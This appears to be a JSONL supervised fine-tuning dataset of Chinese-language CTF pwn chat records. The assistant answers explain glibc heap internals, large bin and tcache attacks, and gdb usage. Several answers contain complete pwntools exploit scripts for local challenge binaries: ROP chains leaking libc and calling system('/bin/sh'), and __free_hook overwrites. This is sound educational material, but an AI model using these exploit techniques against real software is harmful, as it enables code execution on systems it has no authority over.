*\nr=process('./alittle')\nelf=ELF('./alittle')\nlibc=ELF('/lib/x86_64-linux-gnu/libc.so.6')\nbss=0x601000+0x600\nrdi=0x00000000004005d3\nleave=0x40054B\nret=0x400568\nr.recv()\n\npay='a'*0x20+p64(bss)+p64(leave)#rbp\ngdb.attach(r)\nr.send(pay)\nraw_input()\ngdb.attach(r)\n\npay1='a'*0x20+p64(bss+0x20)+p64(leave)#rsp\nr.send(pay1)\nraw_input()\npay2=p64(bss+0x30)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400537)\ngdb.attach(r)\nr.send(pay2)\nraw_input()\nleak=u64(r.recv(6)+'\\x00'*2)\nbase=leak-libc.sym['puts']\nprint(hex(base))\nsys=base+libc.sym['system']\nsh=base+0x1b3e1a\npay3='a'*0x20+p64(bss+0x40)+p64(leave)#rbp\ngdb.attach(r)\nr.send(pay3)\nraw_input()\npay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nr.send(pay4)\nr.interactive()\n```\n\n\n+ MTCTF 2021 babyrop\n+ 2024ycb pstack", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0c392a8305191e60", "original_line": 587, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-967eb7da61ae9929ad44", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「布局要求」。\n资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 布局要求\n- 需要一个**unsorted bin chunk**（U）和一个**large bin chunk**（L）。\n- 需要控制：\n  - `U->bk` → 指向 `fake_chunk`\n  - `L->bk` → `fake_chunk + 0x8`\n  - `L->bk_nextsize` → `fake_chunk - 0x18 - 5`\n\n这样执行后：\n- `fake_chunk + 0x8` 处写入 `U` 的地址（作为 `fd`）\n- `fake_chunk - 0x8` 处写入 `U` 的地址（作为 `size` 或 `prev_size` 的一部分）\n- 最终在 `fake_chunk` 处形成一个合法的chunk头部（size由U的地址低字节决定，需可控）。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-93de13824de50c07", "original_line": 236, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "split_group_key": "59c73050f60dc7a2444c3b7f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of storm/2026ccb catchme/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9708eea5b8bdf98c03d2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「p = process([\"./ld-linux-x86-64.so.2\", \"--library-path\", \".\", \"./pwn\"])」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# p = process([\"./ld-linux-x86-64.so.2\", \"--library-path\", \".\", \"./pwn\"])\np = process(\"./pwn\")\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\nLIBC = CDLL(\"./libc.so.6\")\n\n\ndef build(idx, size):\n    p.sendline(str(1))\n    p.sendline(str(idx))\n    p.sendline(str(size))\n\n\ndef fix(idx, cont):\n    p.sendline(str(2))\n    p.sendline(str(idx))\n    sleep(0.1)\n    p.send(cont)\n    sleep(0.1)\n\n\ndef drop(idx):\n    p.sendline(str(3))\n    p.sendline(str(idx))", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2f065defdb5d2e96", "original_line": 199, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9782480ff42de683ff6e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 例题\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process([elf.path])\n\ndef add_chunk(index, size, type=0):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n    p.sendafter(\"calloc?\", str(type))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x420)\nadd_chunk(1, 0x10)\nadd_chunk(2, 0x410)\nadd_chunk(3, 0x10)\ndelete_chunk(0)\nshow_chunk(0)\nlibc.address = u64(p.recvuntil('\\x7F')[-6:].ljust(8, '\\x00')) - 0x3b6be0\ninfo(\"libc base: \" + hex(libc.address))\nadd_chunk(10, 0x500)\nedit_chunk(0, p64(0) * 3 + p64(libc.sym['__free_hook'] - 0x20 + 8))\ndelete_chunk(2)\nadd_chunk(10, 0x500)\nshow_chunk(0)\nheap_base = u64(p.recvuntil(('\\x55', '\\x56'))[-6:].ljust(8, '\\x00')) - 0x6e0\ninfo(\"heap base: \" + hex(heap_base))\nedit_chunk(0, p64(heap_base + 0x6e0) + p64(libc.address + 0x3b6fd0) + p64(heap_base + 0x6e0))\nedit_chunk(2, p64(libc.address + 0x3b6fd0) + p64(heap_base + 0x290) + p64(heap_base + 0x290) + p64(heap_base + 0x290))\nadd_chunk(0, 0x420)\nadd_chunk(0, 0x410)\nfor i in range(9):\n    add_chunk(i, 0x200)\n    add_chunk(i + 0x30, 0x10)\nfor i in range(9):\n    delete_chunk(i)\nadd_chunk(0x40, 0x300)\nedit_chunk(8, p64(heap_base + 0x2490) + p64(libc.sym['__free_hook'] - 0x10))\nadd_chunk(0, 0x200)\nadd_chunk(0, 0x200)\nadd_chunk(0, 0x200, 1)", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-69556a9e0592af7e", "original_line": 83, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-98e94f88eff23f1f57ff", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「新版本的 Large Bin Attack」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 新版本的 Large Bin Attack\n\n> Large Bin Attack（glibc > 2.29）\n\nLarge Bin Attack 就是通过修改位于 large bin 的 chunk 的指针，然后让其它的 chunk 进入 large bin ，借助链表操作在目标地址处写入一个堆的地址。\nlarge bin 可以利用的指针有 bk 和 bk_nextsize 。\n\n如果新加入的 chunk **小于 large bin 中的 chunk** 会进行如下操作：\n\n```c\nbck = bin_at(av, victim_index);   // 获取链表的后向指针 bck\nfwd = bck->fd;                    // 获取链表的前向指针 fwd\n\nif (fwd != bck) {                 // 如果 bck 和 fwd 不相等，表示链表中有多个元素\n    ...\n    if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {\n        // 如果新块的大小小于当前 bck 所指向块的大小\n        fwd = bck;                // 将 fwd 设置为 bck\n        bck = bck->bk;            // 将 bck 更新为 bck 的前一个块\n\n        // 将新块插入到 bck 和 fwd 之间\n        victim->fd_nextsize = fwd->fd;               // 将新块的前向指针指向 fwd 的下一个块\n        victim->bk_nextsize = fwd->fd->bk_nextsize;   // 更新新块的后向指针\n        fwd->fd->bk_nextsize = victim;                // 将 fwd 的下一个块的后向指针指向新块\n        victim->bk_nextsize->fd_nextsize = victim;    // 将新块的后向指针的前向指针指向新块\n    }\n    ...\n}\n```\n\n如果通过让新加入 large bin 小于 large bin 最小的 chunk 来绕过检查需要伪造 bk 指向的 fake chunk 的 size 字段。并且这里的 bk 是 bins 上的 bk ，不容易劫持。所以一般不会考虑利用 bk 指针进行 large bin attack 。\n\n```c\n// 确保 bck->bk 所指向的内存块是主内存池中的块（而非来自其他区域）\nassert((bck->bk->size & NON_MAIN_ARENA) == 0);\n\n// 比较新块的大小与当前块的大小\nif ((unsigned long)(size) < (unsigned long)(bck->bk->size))\n```\n\n**与 bk 不同的是 bk_nextsize 来自的是 fwd(unsorted bin)-> fd 而不是 unsorted bin ，可以劫持。** 因此如果将 large bin 中的**最小**的 chunk 的 `bk_nextsize` 指向 `&target - 0x20` 的位置，然后加入一个**更小** chunk 就会将 target 写入新加入 chunk 的地址。\n\n[图片: image]\n\n除了申请更大的 chunk 外，也可以通过申请较小的 chunk 来触发 large bin attack 。因为从 unsorted bin 中直接切割 chunk 的条件中 `victim == av->last_remainder` 没有满足（因为成为 last_remainder 的条件之一是大小在 small bin 范围内），最终 unsorted bin 中的 chunk 进入 large bin 中触发 large bin attack 。\n\n```c\n// 检查是否满足多个条件：\nif (in_smallbin_range(nb) &&                          // 条件1: 检查块大小是否属于小块范围\n    bck == unsorted_chunks(av) &&                      // 条件2: 检查 bck 是否指向未排序的内存块\n    victim == av->last_remainder &&                    // 条件3: 检查 victim 是否为剩余内存块\n    (unsigned long)(size) > (unsigned long)(nb + MINSIZE)) { // 条件4: 检查待分配的大小是否大于 nb + MINSIZE\n    ...\n}\n```\n\n之后，程序会在 large bin 中按 size 升序寻找合适 chunk 来切割出所需的内存。由于 large bin 通过 `first (bin)->bk_nextsize` 访问最小的 chunk ，因此最先查找到的是刚刚进入 large bin 的 chunk 并且该 chunk 大小满足条件。之后该 chunk 会从 large bin 中取出然后从中切下所需的内存并将剩余部分放入 unsorted bin 。因此最终写入 target 的值是最开始修改了 bk_nextsize 的 chunk 的地址。\n\n```c\n// 获取指定索引的内存块链表\nbin = bin_at(av, idx);\n\n// 如果内存桶不为空，且当前最大块大小大于等于请求的大小\nif ((victim = first(bin)) != bin &&\n    (unsigned long)chunksize_nomask(victim) >= (unsigned long)(nb)) {\n\n    // 选择下一个符合条件的内存块\n    victim = victim->bk_nextsize;\n\n    // 遍历链表直到找到符合大小要求的内存块\n    while ((unsigned long)(size = chunksize(victim)) < (unsigned long)(nb)) {\n        victim = victim->bk_nextsize;\n    }\n\n    // 执行内存块的处理\n    unlink_chunk(av, victim);   // 从链表中移除当前块\n\n    // 处理内存块，可能会进行切割并放入未排序的块链表\n    ...\n}\n```\n\n![图片: image]", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e3f3f1dd02f8d16e", "original_line": 104, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-98f70ea84c0673123184", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「断点」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 断点\n\n- `b *地址` / `b 函数名` / `b 行号`\n- `b *$rebase(0x123456)`：PIE 下断点\n- `break fun if $rdi==5`：条件断点\n- `watch 0x123456`：内存断点\n- `catch syscall`：系统调用断点\n- `delete` / `disable` / `enable` / `clear`", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-d77cbe2e9fb04020", "original_line": 612, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-99368b8965129fbdd649", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/花式栈/[HGAME 2023 week1]orw/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/花式栈/[HGAME 2023 week1]orw/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n函数/封装：\n- `add`\n- `cmd`\n- `dele`\n- `edit`\n- `show`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\n# Date: 2024-09-11 17:07:05\n# Link: https://github.com/RoderickChan/pwncli\n# Usage:\n#     Debug : python3 exp.py debug elf-file-path -t -b malloc\n#     Remote: python3 exp.py remote elf-file-path ip:port\n\nfrom pwncli import *\ncli_script()\nset_remote_libc('libc-2.31.so')\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\n# one_gadgets: list = get_current_one_gadget_from_libc(more=False)\n# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)\n\ndef cmd(i, prompt):\n    sla(prompt, i)\n\ndef add():\n    cmd('1')\n    #......\n\ndef edit():\n    cmd('2')\n    #......\n\ndef show():\n    cmd('3')\n    #......\n\ndef dele():\n    cmd('4')\n    #......\n\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-ac35484fdaf7e8bd", "original_line": 580, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/[HGAME 2023 week1]orw/exp_cli.py", "split": "train", "split_group_key": "65f49ba7646bab459837d616"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/[HGAME 2023 week1]orw/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-998870d4992d8db19b67", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「chunk」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### chunk\n\n在程序执行的过程中，我们称由`malloc`申请的内存为`chunk`。这块内存在`ptmalloc`内部用`malloc_chunk`结构体来表示。当程序申请的`chunk`被`free`后，会被加入到相应的空闲管理链表中。\n\n我们在malloc一块内存的时候返回给我们的指针是指向user data的指针\n\n`malloc_chunk`定义如下：\n\n```c\nstruct malloc_chunk {\n\n  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */\n  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */\n\n  struct malloc_chunk* fd;         /* double links -- used only if free. */\n  struct malloc_chunk* bk;\n\n  /* Only used for large blocks: pointer to next larger size.  */\n  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */\n  struct malloc_chunk* bk_nextsize;\n};\n```\n\n每个字段的具体的解释如下：\n\n+ `prev_size`：如果物理相邻的前一地址`chunk`是空闲的话，那该字段记录的是前一个`chunk`的大小（包括`chunk`头）。否则，该字段可以用来存储物理相邻的前一个`chunk`的数据。\n+ `size`：该`chunk`的大小，大小必须是`2 * SIZE_SZ`的整数倍。该字段的低三个比特位对`chunk`的大小没有影响，它们从高到低分别表示为：\n  - `NON_MAIN_ARENA`，记录当前`chunk`是否不属于主线程，1 表示不属于，0 表示属于。\n  - `IS_MAPPED`，记录当前`chunk`是否是由`mmap`分配的。\n  - `PREV_INUSE`，记录前一个`chunk`块是否被分配。一般来说，堆中第一个被分配的内存块的`size`字段的`P`位都会被设置为 1，以便于防止访问前面的非法内存。当一个`chunk`的`size`的`P`位为0时，我们能通过`prev_size`字段来获取上一个`chunk`的大小以及地址。这也方便进行空闲`chunk`之间的合并。\n+ `fd`，`bk`。`chunk`处于分配状态时，从`fd`字段开始是用户的数据。`chunk`空闲时，会被添加到对应的空闲管理链表中，其字段的含义如下\n  - `fd`指向下一个（非物理相邻）空闲的`chunk`\n  - `bk`指向上一个（非物理相邻）空闲的`chunk`\n\n通过`fd`和`bk`可以将空闲的`chunk`块加入到空闲的`chunk`块链表进行统一管理。\n\n+ `fd_nextsize`，`bk_nextsize`，也是只有`chunk`空闲的时候才使用，不过其用于较大的`chunk`（large chunk）。\n  - `fd_nextsize`：指向前一个与当前`chunk`大小不同的第一个空闲块，不包含`bin`的头指针。\n  - `bk_nextsize`：指向后一个与当前`chunk`大小不同的第一个空闲块，不包含`bin`的头指针。\n  - 一般空闲的`large chunk`在`fd`的遍历顺序中，按照由大到小的顺序排列。这样做可以避免在寻找合适`chunk`时挨个遍历。\n\n`chunk`的结构\n\n", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-51040d7421e9ddcb", "original_line": 74, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-99f511296d086eea8045", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `Heap/tcache attack/tcache key` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`Heap/tcache attack/tcache key`\n\n## Writeup 蒸馏\n# 2.33堆申请规则\n\n先形成tcache然后第一个tcache的fd位存放着tcache chunk地址的左移12位数值，这个值就是整个程序的异或key\n\n其余的堆下次申请地址的时候都会和这个key异或一次。\n\n## 源码\n\n```c\n#include\n#include\nchar *heaparray[24];\nint num=0;\nvoid init()\n{\n  setvbuf(stdin, 0LL, 2, 0LL);\n  setvbuf(stdout, 0LL, 2, 0LL);\n  setvbuf(stderr, 0LL, 2, 0LL);\n\n}\nvoid create_heap() {\n  int i;\n  for (i = 0; i < 24; i++) {\n    if (!heaparray[i]) {\n      heaparray[i] = (char *)malloc(0x90);\n      if (!heaparray[i]) {\n        puts(\"error\");\n        exit(2);\n      }\n      puts(\"over\\n\");\n      num++;\n      break;\n    }\n  }\n}\nvoid delete_heap() {\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n  read(0, buf, 4);\n  idx = atoi(buf);\n  if (idx < 0 || idx >= 24) {\n    puts(\"error\");\n    exit(0);\n  }\n  if (heaparray[idx]) {\n    free(heaparray[idx]);\n    puts(\"over\\n\");\n    num--;\n  } else {\n    puts(\"error\\n\");\n  }\n}\nvoid show_item() {\n  int i;\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n    (read(0, buf, 4));\n    idx = atoi(buf);\n  if (!heaparray[idx]) {\n    puts(\"no hvae things\\n\");\n  } else {\n    printf(\"Content:\");\n    printf(\"%s\",heaparray[idx]);\n  }\n}\nvoid edit_item(){\n  int i;\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n    (read(0, buf, 4));\n    idx = atoi(buf);\n  if (!heaparray[idx]) {\n    puts(\"no hvae things\\n\");\n  } else {\n    puts(\"Content:\");\n    read(0,heaparray[idx], 0x90);\n  }\n}\nvoid menu()\n{\n        puts(\"1. Get a page\");\n        puts(\"2. Take out\");\n        puts(\"3. Read page\");\n        puts(\"4. edit a page\");\n}\nvoid main()\n{\n  init();\n  int i;\n  while(1)\n  {\n    menu();\n    scanf(\"%d\",&i);\n    switch(i)\n    {\n      case 1:create_heap();break;\n      case 2:delete_heap();break;\n      case 3:show_item();break;\n      case 4:edit_item();break;\n      default:puts(\"error\");break;\n    }\n  }\n}\n```\n\n## exp\n\n```python\n#encoding=utf-8\n#patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 newyearbook\nfrom pwn import *\nr=process('./pwn')\ncontext.log_level='debug'\nlibc=ELF('/home/q/Desktop/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6')\ndef add():\n\tr.sendlineafter(\"4. edit a page\\n\",str(1))\n\ndef dele(idx):\n\tr.sendlineafter(\"4. edit a page\\n\",str(2))\n\tr.sendlineafter(\"idx\\n\",str(idx))\n\ndef show(idx):\n\tr.sendlineafter(\"4. edit a page\\n\",str(3))\n\tr.sendlineafter(\"idx\\n\",str(idx))\ndef edit(idx,con):\n\tr.sendlineafter(\"4. edit a page\\n\",str(4))\n\tr.sendlineafter(\"idx\\n\",str(idx))\n\tr.sendafter(\"Content:\",con)\nfor i in range(10):\n\tadd()\nfor i in range(9):\n\tdele(i)\n\nshow(0)\nr.recvuntil(\"Content:\")\nheap1=u64(r.recv(5)+b'\\x00'*3)\nprint(hex(heap1))\nedit(7,'\\xa0')\nshow(7)\nr.recvuntil(\"Content:\")\nlibc=u64(r.recv(6)+b'\\x00'*2)-0x1e0ca0\nprint(hex(libc))\nsystem= libc+0x04fa60\nf_hook = libc+0x1e3e20\nreal=((f_hook^heap1))\nprint (hex(real))\nedit(7,'\\x00')\nedit(6,p64(real))\nadd()\nadd()\nedit(10,\"/bin/sh\\x00\")\nedit(11,p64(system))\ndele(10)\n#gdb.attach(r)\nr.interactive()\n```\n\n## Exploit 关键代码\n### Heap/tcache attack/tcache key/2.33.py\n```python\n#encoding=utf-8\n#patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 newyearbook\nfrom pwn import *\nprint(hex((0x7fb7146378e6)^(0x00000005585346c6)))\nr=process('./pwn')\ncontext.log_level='debug'\nlibc=ELF('./libc-2.33.so')\ndef add():\n\tr.sendlineafter(\"4. edit a page\\n\",str(1))\n\ndef dele(idx):\n\tr.sendlineafter(\"4. edit a page\\n\",str(2))\n\tr.sendlineafter(\"idx\\n\",str(idx))\n\ndef show(idx):\n\tr.sendlineafter(\"4. edit a page\\n\",str(3))\n\tr.sendlineafter(\"idx\\n\",str(idx))\ndef edit(idx,con):\n\tr.sendlineafter(\"4. edit a page\\n\",str(4))\n\tr.sendlineafter(\"idx\\n\",str(idx))\n\tr.sendafter(\"Content:\",con)\nfor i in range(10):\n\tadd()\nfor i in range(9):\n\tdele(i)\n\nshow(0)\nr.recvuntil(\"Content:\")\nheap1=u64(r.recv(5)+b'\\x00'*3)\nprint(hex(heap1))\nedit(7,'\\xa0')\nshow(7)\nr.recvuntil(\"Content:\")\nlibc=u64(r.recv(6)+b'\\x00'*2)-0x1e0ca0\nprint(hex(libc))\nsystem= libc+0x04fa60\nf_hook = libc+0x1e3e20\nreal=((f_hook^heap1))\nprint (hex(real))\nedit(7,'\\x00')\nedit(6,p64(real))\nadd()\nadd()\nedit(10,\"/bin/sh\\x00\")\nedit(11,p64(system))\ndele(10)\n#gdb.attach(r)\nr.interactive()\n```\n\n### Heap/tcache attack/tcache key/pwn.c\n```c\n#include\n#include\nchar *heaparray[24];\nint num=0;\nvoid init()\n{\n  setvbuf(stdin, 0LL, 2, 0LL);\n  setvbuf(stdout, 0LL, 2, 0LL);\n  setvbuf(stderr, 0LL, 2, 0LL);\n\n}\nvoid create_heap() {\n  int i;\n  for (i = 0; i < 24; i++) {\n    if (!heaparray[i]) {\n      heaparray[i] = (char *)malloc(0x90);\n      if (!heaparray[i]) {\n        puts(\"error\");\n        exit(2);\n      }\n      puts(\"over\\n\");\n      num++;\n      break;\n    }\n  }\n}\nvoid delete_heap() {\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n  read(0, buf, 4);\n  idx = atoi(buf);\n  if (idx < 0 || idx >= 24) {\n    puts(\"error\");\n    exit(0);\n  }\n  if (heaparray[idx]) {\n    free(heaparray[idx]);\n    puts(\"over\\n\");\n    num--;\n  } else {\n    puts(\"error\\n\");\n  }\n}\nvoid show_item() {\n  int i;\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n    (read(0, buf, 4));\n    idx = atoi(buf);\n  if (!heaparray[idx]) {\n    puts(\"no hvae things\\n\");\n  } else {\n    printf(\"Content:\");\n    printf(\"%s\",heaparray[idx]);\n  }\n}\nvoid edit_item(){\n  int i;\n  int idx;\n  char buf[4];\n  puts(\"idx\");\n    (read(0, buf, 4));\n    idx = atoi(buf);\n  if (!heaparray[idx]) {\n    puts(\"no hvae things\\n\");\n  } else {\n    puts(\"Content:\");\n    read(0,heaparray[idx], 0x90);\n  }\n}\nvoid menu()\n{\n        puts(\"1. Get a page\");\n        puts(\"2. Take out\");\n        puts(\"3. Read page\");\n        puts(\"4. edit a page\");\n}\nvoid main()\n{\n  init();\n  int i;\n  while(1)\n  {\n    menu();\n    scanf(\"%d\",&i);\n    switch(i)\n    {\n      case 1:create_heap();break;\n      case 2:delete_heap();break;\n      case 3:show_item();break;\n      case 4:edit_item();break;\n      default:puts(\"error\");break;\n    }\n  }\n}\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-pair-002801d1046f4d66", "original_line": 152, "original_split": "train", "record_type": "writeup_exploit_pair", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache key", "split": "train", "split_group_key": "5da095ba8b442279071d8d03"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/tcache key", "split": "train", "type": "ctf_lora_sft"}
